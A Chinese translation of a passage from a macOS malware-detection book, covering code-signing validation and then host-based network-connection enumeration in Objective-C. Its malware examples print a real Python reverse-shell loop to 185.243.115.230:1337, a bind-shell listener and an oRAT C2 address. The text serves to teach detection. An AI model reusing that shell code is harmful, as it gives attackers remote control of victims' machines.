假设我们已经获得了一个错误标记为恶意软件的二进制文件的静态代码引用。在示例 3-23 中,我们首先编译要求字符串,然后将其和代码引用一起传递给 SecStaticCodeCheckValidity API。

static SecRequirementRef requirement = NULL;
SecRequirementCreateWithString(CFSTR("anchor apple"), kSecCSDefaultFlags, &requirement);

if(errSecSuccess ==
SecStaticCodeCheckValidity(staticCodeRef, kSecCSCheckAllArchitectures, requirement)) {
    // Code placed here will run only if the item is signed by Apple alone.
} 

示例 3-23:检查项目是否符合 anchor apple 要求的有效性

如果 SecStaticCodeCheckValidity 返回 errSecSuccess,我们就知道只有苹果公司本身签署了该项目,意味着它属于 macOS,因此肯定不是恶意软件。

代码签名错误代码

如本章所述,适当地处理验证项目的加密签名时遇到的任何错误非常重要。你可以在苹果的《代码签名服务结果代码》开发者文档^(24)中找到代码签名服务 API 的错误代码,或者在CSCommon.h文件中找到,位置在Security.framework/Versions/A/Headers/。这些资源指出,例如,错误代码-66992 对应于 errSecCSRevokedNotarization,表示该代码已被撤销。

如果查看头文件不是你的兴趣所在,可以参考 OSStatus 网站。该网站提供了一种简单的方式,将任何苹果 API 错误代码映射到其易读的名称。

结论

代码签名让我们能够确定一个项目来自哪里,以及该项目是否已经被修改。在本章中,你深入探讨了可以验证、提取和验证诸如磁盘映像、安装包、磁盘上的二进制文件和运行中的进程等项目的代码签名信息的 API。

理解这些 API 在检测恶意软件时至关重要,尤其是当基于启发式的检测方法可能会产生大量误报时。代码签名提供的信息可以显著减少你的检测错误。在构建反恶意软件工具时,你可以通过多种方式使用代码签名,包括识别可以信任的核心操作系统组件、检测那些证书或公证票据已被撤销的项目,以及认证客户端,例如尝试连接 XPC 接口的工具模块(该主题在第十一章中讲解)。

注意事项

  1. 1.  Rich Trouton,“苹果安全更新阻止了 OS X El Capitan 上的苹果以太网驱动程序,” Der Flounder,2016 年 2 月 28 日,https://derflounder.wordpress.com/2016/02/28/apple-security-update-blocks-apple-ethernet-drivers-on-el-capitan/

  2. 2.  “在分发前对 macOS 软件进行公证,”苹果开发者文档,https://developer.apple.com/documentation/security/notarizing_macos_software_before_distribution

  3. 3.  Patrick Wardle,“Apple 批准的恶意软件,” Objective-See,2020 年 8 月 30 日,https://objective-see.com/blog/blog_0x4E.html

  4. 4.  你可以在 Jeff Johnson 的文章中了解更多关于开发者证书撤销的内容,“开发者 ID 证书撤销,” Lapcat 软件,2020 年 10 月 29 日,https://lapcatsoftware.com/articles/revocation.html

  5. 5.  如果你对代码签名的技术细节感兴趣,可以参考 Jonathan Levin 的文章,“代码签名——深入解析”,NewOSXBook,2015 年 4 月 20 日,http://www.newosxbook.com/articles/CodeSigning.pdf,或“macOS 代码签名深度解析,” Apple 开发者文档,https://developer.apple.com/library/archive/technotes/tn2206/_index.html

  6. 6.  “代码签名服务,” Apple 开发者文档,https://developer.apple.com/documentation/security/code_signing_services

  7. 7.  “SecStaticCodeRef,” Apple 开发者文档,https://developer.apple.com/documentation/security/secstaticcoderef?language=objc

  8. 8.  “SecCodeRef,” Apple 开发者文档,https://developer.apple.com/documentation/security/seccoderef?language=objc

  9. 9.  “SecStaticCodeCreateWithPath,” Apple 开发者文档,https://developer.apple.com/documentation/security/1396899-secstaticcodecreatewithpath

  10. 10.  “代码签名服务结果代码,” Apple 开发者文档,https://developer.apple.com/documentation/security/1574088-code_signing_services_result_cod

  11. 11.  “Core Foundation 设计概念,” Apple 开发者文档,https://developer.apple.com/library/archive/documentation/CoreFoundation/Conceptual/CFDesignConcepts/Articles/tollFreeBridgedTypes.html

  12. 12.  有关真实世界的示例,请参见 Ilias Morad,“CVE-2020–9854: ‘Unauthd’, ”Objective-See,2020 年 8 月 1 日,https://objective-see.org/blog/blog_0x4D.html,该文突出介绍了 macOS 的 authd 问题。

  13. 13.  “SecRequirementCreateWithString”,Apple 开发者文档,https://developer.apple.com/documentation/security/1394522-secrequirementcreatewithstring

  14. 14.  “代码签名需求语言”,Apple 开发者文档,https://developer.apple.com/library/archive/documentation/Security/Conceptual/CodeSigningGuide/RequirementLang/RequirementLang.html

  15. 15.  Asfdadsfasdfasdfsasdafads,“编程检测是否撤销了公证票”,Apple 开发者论坛,2023 年 6 月,https://developer.apple.com/forums/thread/731675.

  16. 16.  “dyld 共享缓存信息”,Apple 开发者文档,https://developer.apple.com/forums/thread/692383

  17. 17.  请参见https://github.com/keith/dyld-shared-cache-extractor

  18. 18.  例如,请参见 Patrick Wardle, “反向工程‘pkgutil’以验证 PKG”, Jamf,2019 年 1 月 22 日,https://www.jamf.com/blog/reversing-pkgutil-to-verify-pkgs/

  19. 19.  请参见https://github.com/objective-see/WhatsYourSign/blob/master/WhatsYourSignExt/FinderSync/Packages.m

  20. 20.  Steve Nygard,“Class-dump”,http://stevenygard.com/projects/class-dump/

  21. 21.  “respondsToSelector:”,Apple 开发者文档,https://developer.apple.com/documentation/objectivec/1418956-nsobject/1418583-respondstoselector

  22. 22.  “公证”,苹果开发者文档,https://opensource.apple.com/source/Security/Security-59306.120.7/OSX/libsecurity_codesigning/lib/notarization.cpp

  23. 23.  Linus Henze,“Fugu15:越狱 iOS 15.4.1 的旅程”,论文发表于西班牙 Objective by the Sea v5,2022 年 10 月 6 日,https://objectivebythesea.org/v5/talks/OBTS_v5_lHenze.pdf

  24. 24.  “代码签名服务结果代码”,苹果开发者文档,https://developer.apple.com/documentation/security/1574088-code_signing_services_result_cod

第四章:4 网络状态与统计

大多数 Mac 恶意软件样本会广泛使用网络进行数据外泄、下载额外的负载或与命令与控制服务器通信。如果你能够观察到这些未经授权的网络事件,你可以将它们转化为强大的检测启发式方法。在本章中,我将向你展示如何创建网络活动快照,例如已建立的连接和监听套接字,并将每个事件与其相关的进程关联起来。这些信息应在任何恶意软件检测系统中发挥重要作用,因为它可以检测到甚至是之前未知的恶意软件。

我将集中讨论两种枚举网络信息的方法:proc_pid* APIs 和私有NetworkStatistics框架中的 APIs。你可以在本书 GitHub 仓库的第四章文件夹中找到这两种方法的完整代码。

基于主机与网络中心的收集

通常,网络信息要么在主机上捕获,要么在网络级别(例如,通过网络安全设备)外部捕获。尽管这两种方法各有优缺点,但本章重点讨论前者。在恶意软件检测方面,我更倾向于主机级方法,因为它可以可靠地识别导致观察到的网络事件的特定进程。

很难过度强调将网络事件与进程关联起来的价值。这个链接使你能够仔细检查访问网络的进程,并对其应用其他启发式方法,以确定它是否可能是恶意的。例如,一个持久安装的、未经认证的二进制文件访问网络时,可能确实是恶意软件。识别相关进程还可以帮助发现伪装其流量为合法的恶意软件;来自签名和经过认证浏览器的标准 HTTP/S 请求可能是良性的,而与一个未被识别的进程关联的相同请求,肯定值得更仔细地检查。

在主机级别收集网络信息的另一个优点是,网络流量通常是加密的,而基于主机的方法通常可以避免后续应用的网络级加密的复杂性。你将在第七章中看到这一点,该章节介绍了用于持续监控网络流量的基于主机的方法。

恶意网络活动

当然,程序访问网络并不意味着它是恶意软件。计算机上的大多数合法软件可能都会使用网络。不过,某些类型的网络活动在恶意软件中比在合法软件中更常见。以下是一些你应当更仔细检查的网络活动示例:

对任何远程连接开放的监听套接字 恶意软件可能通过将本地 shell 连接到监听来自外部接口的连接的套接字,来暴露远程访问。

Beacon 请求定期发生 植入物和其他持久性恶意软件可能会定期与其指挥与控制服务器进行通信。

大量上传数据 恶意软件通常会从感染的系统中窃取数据。

让我们考虑一些恶意软件及其网络交互的例子。我们从一个名为 Dummy 的样本开始(这个名字是我自己取的,因为它相当简单)。该恶意软件创建了一个交互式 shell,允许远程攻击者在感染的主机上执行任意命令。具体来说,它会持久执行以下包含 Python 代码的 bash 脚本(我已经格式化以提高可读性):

#!/bin/bash
while :
do
    python -c
        'import socket,subprocess,os;
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM);
        s.connect(("185.243.115.230",1337));
        os.dup2(s.fileno(),0);
        os.dup2(s.fileno(),1);
        os.dup2(s.fileno(),2);
        p=subprocess.call(["/bin/sh","-i"]);'
    sleep 5
done 

这段代码连接到攻击者的服务器,位于 185.243.115.230,端口为 1337。然后,它将标准输入(stdin)、标准输出(stdout)和标准错误输出(stderr)流(文件描述符分别为 0、1 和 2)复制到已连接的套接字。最后,它执行/bin/sh并加上-i 标志,以完成交互式反向 shell 的设置。如果你在感染主机上枚举网络连接(例如,使用 macOS 的 lsof 工具,列出所有进程的开放文件描述符),你将看到一个属于这个基于 Python 的 shell 的连接:

% **lsof -nP | grep 1337 | grep -i python**
Python   ...   TCP   192.168.1.245:63353->185.243.115.230:1337 (ESTABLISHED) 

我们的第二个例子与一个涉嫌的中国黑客团体有关,该团体以其 Alchimist [sic]攻击框架而闻名。^(1) 当执行时,恶意代码会丢下一个名为payload.so的动态库。如果我们在反编译器中打开这个库(最初是用 Go 语言编写的),我们可以看到它包含将 shell 绑定到监听套接字的逻辑:

os.Getenv(..., NOTTY_PORT, 0xa,...);
strconv.ParseInt(...);
fmt.Sprintf(..., 0.0.0.0,..., port,...);
net.Listen("tcp", address);
main.handle_connection(...); 

它首先读取一个自定义环境变量(NOTTY_PORT),以构建一个格式为0.0.0.0:port的网络地址字符串。如果没有指定端口,它会默认为 4444。接下来,它调用 Go net库中的 Listen 方法来创建一个监听 TCP 套接字。一个名为 handle_connection 的方法处理任何与此套接字的连接。使用我的网络枚举工具 Netiquette(图 4-1),你可以看到恶意软件的监听套接字。^(2)

图 4-1:Netiquette 显示 4444 端口上的监听套接字

敏锐的读者可能已经注意到,监听 4444 端口的套接字与名为loader的进程相关,而不是直接与恶意的payload.so库相关。这是因为 macOS 在进程级别跟踪网络事件,而不是在库级别。不幸的是,发现这一威胁的研究人员没有获取到托管该库的程序,因此我编写了loader程序来加载并执行恶意库,以进行动态分析。

任何使用系统 API 列举网络连接的代码只能识别网络活动来源的进程。此活动可能直接来自进程主二进制文件中的代码,或者如这里所示,来自其地址空间中加载的某个库,这为我们提供了另一个理由,说明为何值得列举和分析进程加载的库,正如我们在 第一章 中所做的那样。

让我们考虑最后一个示例。与调用 shell 不同,先进的持续威胁(APT)植入程序 oRAT 采取了更常见的方式,通过与攻击者的命令与控制服务器建立连接来进行操作。通过这个连接,它可以接收任务,执行广泛的操作,使远程攻击者完全控制感染的主机。^(3) 不同寻常的是,它通过单个多路复用的持久连接执行所有任务,包括定期的“心跳”检查。我们可以在 oRAT 的二进制文件中找到该连接的配置,如协议和服务器地址。虽然这些信息是加密的,但由于解密密钥也嵌入在二进制文件中,我们可以轻松地在运行时解密或从内存中提取出来,正如《Mac 恶意软件艺术》第一卷第九章所讨论的那样。以下是包含命令与控制服务器信息的解密配置片段:

{
    ...
    "C2": {
        "Network": "stcp",
        "Address": "darwin.github.wiki:53"
    },
    ...
} 

在配置中,Network 键的值控制 oRAT 是否通过 TCP 或 UDP 进行通信,以及是否对其网络流量进行加密。值为 stcp 表示通过 Go 的传输层安全(TLS)包加密的 TCP。^(4) 配置还揭示了流量将发送到位于 darwin.github.wiki 的命令与控制服务器,并将通过端口 53 进行传输。尽管此端口的流量传统上用于 DNS,但没有什么能阻止恶意软件作者利用它,也许是为了与合法的 DNS 流量混淆,或者通过防火墙,它通常允许通过该端口的出站流量。

一旦恶意软件开始运行,我们可以通过系统或第三方网络工具,编程或手动地轻松观察到与攻击者服务器的连接。我将专注于前者,展示如何编程列举套接字和网络连接,为每个连接提供元数据,并识别负责网络活动的进程。

捕获网络状态

捕获网络活动有多种方式,例如使用监听套接字和已建立的连接。一个方法是使用各种 proc_pid* API。这一工作流灵感来源于 Palomino Labs 的 get_process_handles 项目。^(5)

首先,我们将调用 proc_pidinfo 函数,传入进程 ID 和 PROC_PIDLISTFDS 常量,以获取指定进程当前打开的所有文件描述符的列表。我们对这个文件描述符列表感兴趣,因为它也会包括套接字。为了只提取套接字,我们将遍历所有文件描述符,关注那些类型设置为 PROX_FDTYPE_SOCKET 的文件描述符。

某些套接字类型的名称以 AF 为前缀,表示地址族。这些套接字中的一些(例如,类型为 AF_UNIX 的套接字)是本地套接字,程序可以将其用作进程间通信(IPC)机制。这些通常与恶意活动无关,因此我们可以忽略它们,尤其是在枚举网络活动的上下文中。然而,对于类型为 AF_INET(用于 IPv4 连接)或 AF_INET6(用于 IPv6 连接)的套接字,我们可以提取诸如协议(UDP 或 TCP)、本地端口和地址等信息。对于 TCP 套接字,我们还将提取它们的远程端口、地址和状态(无论它是监听、已建立连接等)。

让我们通过实现此功能的代码进行逐步讲解,您可以在本章的enumerateNetworkConnections项目中找到该代码。

检索进程文件描述符

我们首先调用 proc_pidinfo API,传入进程 ID、PROC_PIDLISTFDS 标志和三个设置为零的参数,以获取进程打开的所有文件描述符的完整列表所需的大小(Listing 4-1)。通常,尤其是对于基于 C 的旧 API(如 proc_pid*),我们会先调用该函数,传入一个 NULL 的缓冲区和零字节的长度,以获取存储数据所需的真实长度。然后,再次调用相同的 API,传入新的大小和新分配的缓冲区,就能返回请求的数据。

#import <libproc.h>
#import <sys/proc_info.h>

pid_t pid = <some process id>;

❶ int size = proc_pidinfo(pid, PROC_PIDLISTFDS, 0, NULL, 0);
struct proc_fdinfo* fdInfo = (struct proc_fdinfo*)malloc(size);

❷ proc_pidinfo(pid, PROC_PIDLISTFDS, 0, fdInfo, size);
... 

Listing 4-1:获取进程的文件描述符

一旦我们获得了所需的大小并分配了合适的缓冲区❶,我们会重新调用 proc_pidinfo,这次传入缓冲区和其大小,以检索进程的文件描述符❷。当函数返回时,提供的缓冲区将包含一个 proc_fdinfo 结构体的列表:每个结构体对应进程的一个打开的文件描述符。头文件sys/proc_info.h定义了这些结构体,如下所示:

struct proc_fdinfo {
    int32_t   proc_fd;
    uint32_t  proc_fdtype;
}; 

它们仅包含两个成员:一个文件描述符(proc_fd)和文件描述符类型(proc_fdtype)。

提取网络套接字

通过获取进程的文件描述符列表,您现在可以遍历每个文件描述符,查找任何套接字(Listing 4-2)。

for(int i = 0; i < (size/PROC_PIDLISTFD_SIZE); i++) {
    if(PROX_FDTYPE_SOCKET != fdInfo[i].proc_fdtype) {
        continue;
    }
} 

Listing 4-2:遍历文件描述符列表,忽略非套接字类型

由于缓冲区已填充了一个 proc_fdinfo 结构体的列表,代码通过取缓冲区的大小并将其除以 PROC_PIDLISTFD_SIZE 常量来确定数组中的项目数量。这个常量便捷地保存了 proc_fdinfo 结构体的大小。接下来,代码通过检查每个 proc_fdinfo 结构体的 proc_fdtype 成员来检查每个文件描述符的类型。套接字的类型是 PROX_FDTYPE_SOCKET;代码通过执行 continue 语句忽略任何其他类型的文件描述符,这会导致当前的 for 循环迭代提前终止并开始下一个迭代,也就是说,它会开始处理下一个文件描述符。

获取套接字详细信息

现在,为了获取关于套接字的详细信息,我们调用 proc_pidfdinfo 函数。它接受五个参数:进程 ID、文件描述符、一个指示我们请求的文件描述符信息类型的值、一个指向结构体的输出指针,以及该结构体的大小(列表 4-3)。

struct socket_fdinfo socketInfo = {0};

proc_pidfdinfo(pid, fdInfo[i].proc_fd,
PROC_PIDFDSOCKETINFO, &socketInfo, PROC_PIDFDSOCKETINFO_SIZE); 

列表 4-3:获取套接字文件描述符信息

因为我们将把这段代码放入一个遍历进程套接字列表的 for 循环中(列表 4-2),我们可以通过索引此列表来引用每个套接字:fdInfo[i].proc_fdPROC_PIDFDSOCKETINFO 常量指示 API 返回套接字信息,而 PROC_PIDFDSOCKETINFO_SIZE 常量包含 socket_fdinfo 结构体的大小。你可以在 Apple 的 sys/proc_info.h 文件中找到这两个常量。

我提到过,并非所有套接字都与网络活动相关。因此,代码仅关注协议族为 AF_INETAF_INET6 的网络套接字。这些套接字通常被称为互联网协议(IP)套接字。我们可以通过检查 socket_fdinfo 结构体中 psi 成员的 soi_family 成员来找到套接字的协议族(列表 4-4)。

if((AF_INET != socketInfo.psi.soi_family) && (AF_INET6 != socketInfo.psi.soi_family))  {
    continue;
} 

列表 4-4:检查套接字的协议族

因为我们在 for 循环中执行这段代码,所以通过执行 continue 语句跳过任何非 IP 套接字,直接跳到下一个。

代码的其余部分从 socket_fdinfo 结构体中提取各种信息并将其保存到字典中。你已经看过这个协议族,它应该是 AF_INETAF_INET6(列表 4-5)。

NSMutableDictionary* details = [NSMutableDictionary dictionary];
details[@"family"] = (AF_INET == socketInfo.psi.soi_family) ? @"IPv4" : @"IPv6"; 

列表 4-5:提取套接字的协议族类型

我们可以在 psi 结构体的 soi_kind 成员中找到套接字的协议。(回想一下,psi 是一个 socket_info 结构体。)在提取套接字信息时,考虑到协议之间的差异非常重要,因为你将需要引用不同的结构体。对于 UDP 套接字,其 soi_kind 设置为 SOCKINFO_IN,我们使用 soi_proto 结构体中的 pri_in 成员,它的类型是 in_sockinfo。另一方面,对于 TCP 套接字(SOCKINFO_TCP),我们使用 pri_tcp,它是一个 tcp_sockinfo 结构体(列表 4-6)。

if(SOCKINFO_IN == socketInfo.psi.soi_kind) {
    struct in_sockinfo sockInfo_IN = socketInfo.psi.soi_proto.pri_in;
    // Add code to extract information from the UDP socket.
} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
    struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
    // Add code to extract information from the TCP socket.
} 

列表 4-6:提取 UDP 或 TCP 套接字结构

一旦我们确定了合适的结构,从套接字中提取本地和远程端点等信息对于任何套接字类型来说大致相同。尽管如此,UDP 套接字通常没有绑定,因此远程端点的信息并不总是可用的。此外,这些套接字是无状态的,而 TCP 套接字会有状态。

现在,让我们来看一下从 TCP 套接字中提取感兴趣信息的代码,从本地和远程端口开始(列表 4-7)。

} else if(SOCKINFO_TCP == socketInfo.psi.soi_kind) {
    struct tcp_sockinfo sockInfo_TCP = socketInfo.psi.soi_proto.pri_tcp;
    details[@"protocol"] = @"TCP";

    details[@"localPort"] =
    [NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_lport)]; ❶

    details[@"remotePort"] =
    [NSNumber numberWithUnsignedShort:ntohs(sockInfo_TCP.tcpsi_ini.insi_fport)]; ❷
    ...
} 

列表 4-7:从 TCP 套接字中提取本地和远程端口

我们可以在 tcpsi_ini 结构体中的 insi_lport ❶和 insi_fport ❷成员中找到本地和远程端口,tcpsi_ini 结构体本身是 in_sockinfo 结构体。由于这些端口以网络字节序存储,我们通过 ntohs API 将其转换为主机字节序。

接下来,我们从相同的 tcpsi_ini 结构体中检索本地和远程地址。我们访问哪个结构成员取决于地址是 IPv4 还是 IPv6。在列表 4-8 中,我们提取 IPv4(AF_INET)地址。

#import <arpa/inet.h>

if(AF_INET == socketInfo.psi.soi_family) {
    char source[INET_ADDRSTRLEN] = {0};
    char destination[INET_ADDRSTRLEN] = {0};

    inet_ntop(AF_INET,
    &(sockInfo_TCP.tcpsi_ini.insi_laddr.ina_46.i46a_addr4), source, sizeof(source)); ❶

    inet_ntop(AF_INET, &(sockInfo_TCP.tcpsi_ini.insi_faddr.ina_46.i46a_addr4),
    destination, sizeof(destination)); ❷
} 

列表 4-8:提取本地和远程 IPv4 地址

如代码所示,我们调用 inet_ntop 函数将 IP 地址转换为人类可读的字符串。当地地址位于 insi_laddr 成员 ❶中,而远程地址则位于 insi_faddr ❷中。地址通过 INET_ADDRSTRLEN 常量指定其最大长度,该常量还包括 NULL 终止符。

对于 IPv6(AF_INET6)套接字,我们再次使用 inet_ntop 函数,但传递给它一个 in6_addr 结构体(在 in_sockinfo 结构体中命名为 ina_6)。还需要注意的是,输出缓冲区的大小应为 INET6_ADDRSTRLEN(列表 4-9)。

if(AF_INET6 == socketInfo.psi.soi_family) {
    char source[INET6_ADDRSTRLEN] = {0};
    char destination[INET6_ADDRSTRLEN] = {0};

    inet_ntop(AF_INET6,
    &(sockInfo_IN.insi_laddr.ina_6), source, sizeof(source));

    inet_ntop(AF_INET6,
    &(sockInfo_IN.insi_faddr.ina_6), destination, sizeof(destination));

} 

列表 4-9:提取本地和远程 IPv6 地址

最后,我们可以在 tcp_sockinfo 结构体的 tcpsi_state 成员中找到 TCP 连接的状态(无论是关闭、监听、已建立连接等)。sys/proc_info.h头文件定义了可能的状态,如下所示:

#define TSI_S_CLOSED            0       /* closed */
#define TSI_S_LISTEN            1       /* listening for connection */
#define TSI_S_SYN_SENT          2       /* active, have sent syn */
#define TSI_S_SYN_RECEIVED      3       /* have sent and received syn */
#define TSI_S_ESTABLISHED       4       /* established */
... 

在列表 4-10 中,我们使用一个简单的 switch 语句将这些数值的子集转换为人类可读的字符串。

switch(sockInfo_TCP.tcpsi_state) {
    case TSI_S_CLOSED:
        details[@"state"] = @"CLOSED";
        break;

    case TSI_S_LISTEN:
        details[@"state"] = @"LISTEN";
        break;

    case TSI_S_ESTABLISHED:
        details[@"state"] = @"ESTABLISHED";
        break;
    ...
} 

列表 4-10:将 TCP 状态(tcpsi_state)转换为人类可读的字符串

那么,如果你想将目标 IP 地址解析为域名,该怎么办呢?一种选择是使用 getaddrinfo API,它可以同步完成此操作。此函数将访问 DNS 服务器,将 IP 地址映射到域名,因此你可能希望在一个单独的线程中执行此操作,或者使用其异步版本 getaddrinfo_a。列表 4-11 展示了一个简单的辅助函数,它接受一个 IP 地址作为 char*字符串,然后尝试将其解析为域名并返回为字符串对象。

#import <netdb.h>
#import <sys/socket.h>

NSString* hostForAddress(char* address) {
    struct addrinfo* results = NULL;
    char hostname[NI_MAXHOST] = {0};
    NSString* resolvedName = nil;
  ❶ if(0 == getaddrinfo(address, NULL, NULL, &results)) {
      ❷ for(struct addrinfo* r = results; r != NULL; r = r->ai_next) {
            if(0 == getnameinfo(r->ai_addr, r->ai_addrlen,
              ❸ hostname, sizeof(hostname), NULL, 0, 0)) {
                resolvedName = [NSString stringWithUTF8String:hostname];
                break;
            }
        }
    }
    if(NULL != results) {
        freeaddrinfo(results);
    }

    return resolvedName;
} 

列表 4-11:将地址解析为域名

IP 地址可能解析为多个主机名,或者根本没有解析到任何主机名。后一种情况在恶意软件中很常见,这些恶意软件包含硬编码的远程服务器 IP 地址,而该地址可能没有域名条目。

IP 地址到主机的解析代码首先调用 getaddrinfo 函数,并传入指定的 IP 地址 ❶。如果此调用成功,它会为指定的地址分配并初始化一个 addrinfo 类型的结构体列表,因为可能会有多个响应。接下来,代码开始遍历这个列表 ❷,在 addrinfo 结构体上调用 getnameinfo 函数 ❸。如果 getnameinfo 函数成功,代码将该名称转换为字符串对象并退出循环,尽管它也可以继续遍历以构建所有解析名称的列表。

运行工具

让我们编译并运行网络枚举代码,该代码位于enumerateNetworkConnections项目中,在感染 Dummy 的系统上运行。该代码一次只查看一个进程,因此我们将 Dummy Python 脚本实例的进程 ID(96202)作为参数指定:

% **./enumerateNetworkConnections 96202**
Socket details: {
    family = "IPv4";
    protocol = "TCP";
    localPort = 63353;
    localIP = "192.168.1.245";
    remotePort = 1337;
    remoteIP = "185.243.115.230";
    resolved = "pttr2.qrizi.com";
    state = "ESTABLISHED";
} 

如预期的那样,该工具能够枚举 Dummy 与攻击者的指挥控制服务器之间的连接。具体来说,它显示了连接的本地和远程端点的信息,以及连接的协议族、协议和状态。

为了在生产环境中改进此代码,你可能希望列举所有网络连接,而不仅仅是用户指定的单一进程的连接。你可以轻松扩展代码,首先检索正在运行的进程列表,然后遍历该列表,列举每个进程的网络连接。回想一下,在第一章中,我展示了如何检索进程 ID 列表。

枚举网络连接

我注意到,使用 proc_pid* API 的一个小缺点是它们是特定于进程的。也就是说,它们不会返回关于系统范围内网络活动的信息。虽然我们可以很容易地遍历每个进程,以更广泛地查看系统的网络活动,但私有的NetworkStatistics框架提供了一种更高效的方式来完成此任务。它还提供有关每个连接的统计信息,这有助于我们检测恶意软件样本(例如,那些从感染系统中大量提取数据的恶意软件)。

在本节中,我们将使用该框架拍摄全球网络活动的快照,在第七章中,我们将利用它持续接收关于网络活动的更新。

NetworkStatistics 框架是 macOS 随附的一个相对鲜为人知的网络实用工具的基础:nettop。当从终端执行 nettop 时,它会显示按进程分组的系统范围内的网络活动。以下是我在 Mac 上运行 nettop 时的简化输出:

% **nettop**

launchd.1
    tcp6 *.49152<->*.*
        Listen

timed.352
    udp4 192.168.1.245:123<->usscz2-ntp-001.aaplimg.com:123

WhatsApp Helper.1186
    tcp6 2603:800c:2800:641::cc.54413<->whatsapp-cdn6-shv-01-lax3.fbcdn.net.443   Established

com.apple.WebKi.78285
tcp6 2603:800c:2800:641::cc.54863<->lax17s49-in-x0a.1e100.net.443  Established
tcp4 192.168.1.245:54810<->104.244.42.66:443   Established
tcp4 192.168.1.245:54805<->104.244.42.129:443  Established

Signal Helper (.8431
tcp4 192.168.1.245:54874<->ac88393aca5853df7.awsglobalaccelerator.com:443    Established
tcp4 192.168.1.245:54415<->ac88393aca5853df7.awsglobalaccelerator.com:443    Established 

我们可以使用 otool 查看 nettop 如何利用NetworkStatistics框架。在旧版 macOS 中,您会在/System/Library/PrivateFrameworks/目录下找到此框架,而在新版中,它存储在dyld共享缓存中:

% **otool -L /usr/bin/nettop**
/usr/bin/nettop:
  /System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
  /usr/lib/libncurses.dylib
  **/System/Library/PrivateFrameworks/NetworkStatistics.framework/Versions/A/NetworkStatistics**
  /usr/lib/libSystem.B.dylib 

让我们通过编程方式使用这个框架枚举全系统的网络活动,它可以为我们提供表示监听套接字、网络连接等的网络统计对象。macOS 大师 Jonathan Levin 首先在他的 netbottom 命令行工具中记录了这种方法。(^(6))本节中展示的代码,以及本章的enumerateNetworkStatistics项目,直接受到了他的项目启发。

链接到 NetworkStatistics

任何使用框架的程序必须在编译时链接,或者在运行时动态加载。在 Xcode 中,您可以在“构建阶段”下的“链接二进制文件与库”列表中添加框架(图 4-2)。

图 4-2:链接到 NetworkStatistics 框架

由于NetworkStatistics框架是私有的,因此没有公开的头文件,所以您必须手动定义其 API 和常量。例如,您可以使用 NStatManagerCreate API 创建网络统计管理器,但必须首先定义此 API,如清单 4-12 所示。

NStatManagerRef NStatManagerCreate(
const struct __CFAllocator*, dispatch_queue_t, void (^)(void*, int)); 

清单 4-12:私有 NStatManagerCreate API 的函数定义

同样,您必须定义所有常量,例如描述每个网络统计对象的字典中的键。例如,清单 4-13 展示了如何定义 kNStatSrcKeyPID,这是保存负责网络连接的进程 ID 的键。

extern CFStringRef kNStatSrcKeyPID;

清单 4-13:私有 kNStatSrcKeyPID 常量的定义

请参阅本章的enumerateNetworkStatistics项目的头文件,以获取所有函数和常量定义。

创建网络统计管理器

现在我们已经链接到NetworkStatistics框架并定义了必要的 API 和常量,接下来是编写代码。在清单 4-14 中,我们通过 NStatManagerCreate API 创建了一个网络统计管理器。这个管理器是一个不透明对象,后续的NetworkStatistics API 调用需要它。

NStatManagerCreate API 的第一个参数是内存分配器。在这里,我们使用默认分配器 kCFAllocatorDefault。第二个参数是一个调度队列,我们将在其中执行第三个参数指定的回调块。我建议使用自定义调度队列,而不是主线程的调度队列,以避免过度使用并可能阻塞主线程。

❶ dispatch_queue_t queue = dispatch_queue_create("queue", NULL);

NStatManagerRef manager = NStatManagerCreate(kCFAllocatorDefault, queue,
❷ ^(NStatSourceRef source, int unknown) {
    // Add code here to complete the implementation.
}); 

清单 4-14:初始化网络统计管理器

在初始化调度队列❶之后,我们调用 NStatManagerCreate 来创建一个管理对象。这个 API 的最后一个参数是一个回调块,框架会在查询期间调用它。它接受两个参数:一个表示网络统计信息的 NStatSourceRef 对象,以及一个整数,其含义不明(但似乎与我们的代码无关)❷。在下一节中,我将解释当框架调用这个回调时,如何提取感兴趣的网络信息。

定义回调逻辑

当我们使用 NStatManagerQueryAllSourcesDescriptions API 启动查询时,框架会自动调用 NStatManagerCreate 回调块,这将在稍后讨论。为了从传入回调块的每个网络统计对象中提取信息,我们调用 NStatSourceSetDescriptionBlock API 来指定另一个回调块。以下是该函数的定义:

void NStatSourceSetDescriptionBlock(NStatSourceRef arg, void (^)(NSMutableDictionary*));

我们使用 NStatSourceRef 对象和一个回调块来调用这个函数,框架将在异步调用时,传入一个包含网络统计信息对象的字典(参见列表 4-15)。

NStatManagerRef = NStatManagerCreate(kCFAllocatorDefault, queue,
^(NStatSourceRef source, int unknown) {
    NStatSourceSetDescriptionBlock(source, ^(NSMutableDictionary* description) {
        printf("%s\n", description.description.UTF8String);
    });
}); 

列表 4-15:设置描述回调块

就目前而言,代码在启动查询之前不会执行任何操作。一旦启动查询,它将调用此块;目前,我们只是简单地打印出描述网络统计对象的字典。

启动查询

在开始查询之前,我们必须告诉框架我们感兴趣的网络统计信息。对于所有 TCP 和 UDP 网络套接字及连接的统计信息,我们分别调用 NStatManagerAddAllTCP 和 NStatManagerAddAllUDP 函数。如列表 4-16 所示,这两个函数的唯一参数是一个我们之前创建的网络统计管理器。

NStatManagerAddAllTCP(manager);
NStatManagerAddAllUDP(manager); 

列表 4-16:查询 TCP 和 UDP 网络事件的统计信息

现在我们可以通过 NStatManagerQueryAllSourcesDescriptions 函数启动查询(参见列表 4-17)。

dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);

❶ NStatManagerQueryAllSourcesDescriptions(manager, ^{
  ❷ dispatch_semaphore_signal(semaphore);
});

❸ dispatch_semaphore_wait(semaphore, DISPATCH_TIME_FOREVER);
❹ NStatManagerDestroy(manager); 

列表 4-17:查询所有网络源

一旦我们调用 NStatManagerQueryAllSourcesDescriptions 函数❶,网络统计查询就会开始,框架会为每个网络统计对象调用我们设置的回调块,以提供当前网络状态的全面快照。

NStatManagerQueryAllSourcesDescriptions 函数接受网络统计管理器和另一个回调块,该回调块将在网络查询完成时被调用。在此实现中,我们感兴趣的是网络的快照,因此我们会发送一个信号量❷,主线程会在此信号量上等待❸。查询完成后,我们使用 NStatManagerDestroy 函数清理网络统计管理器❹。

运行工具

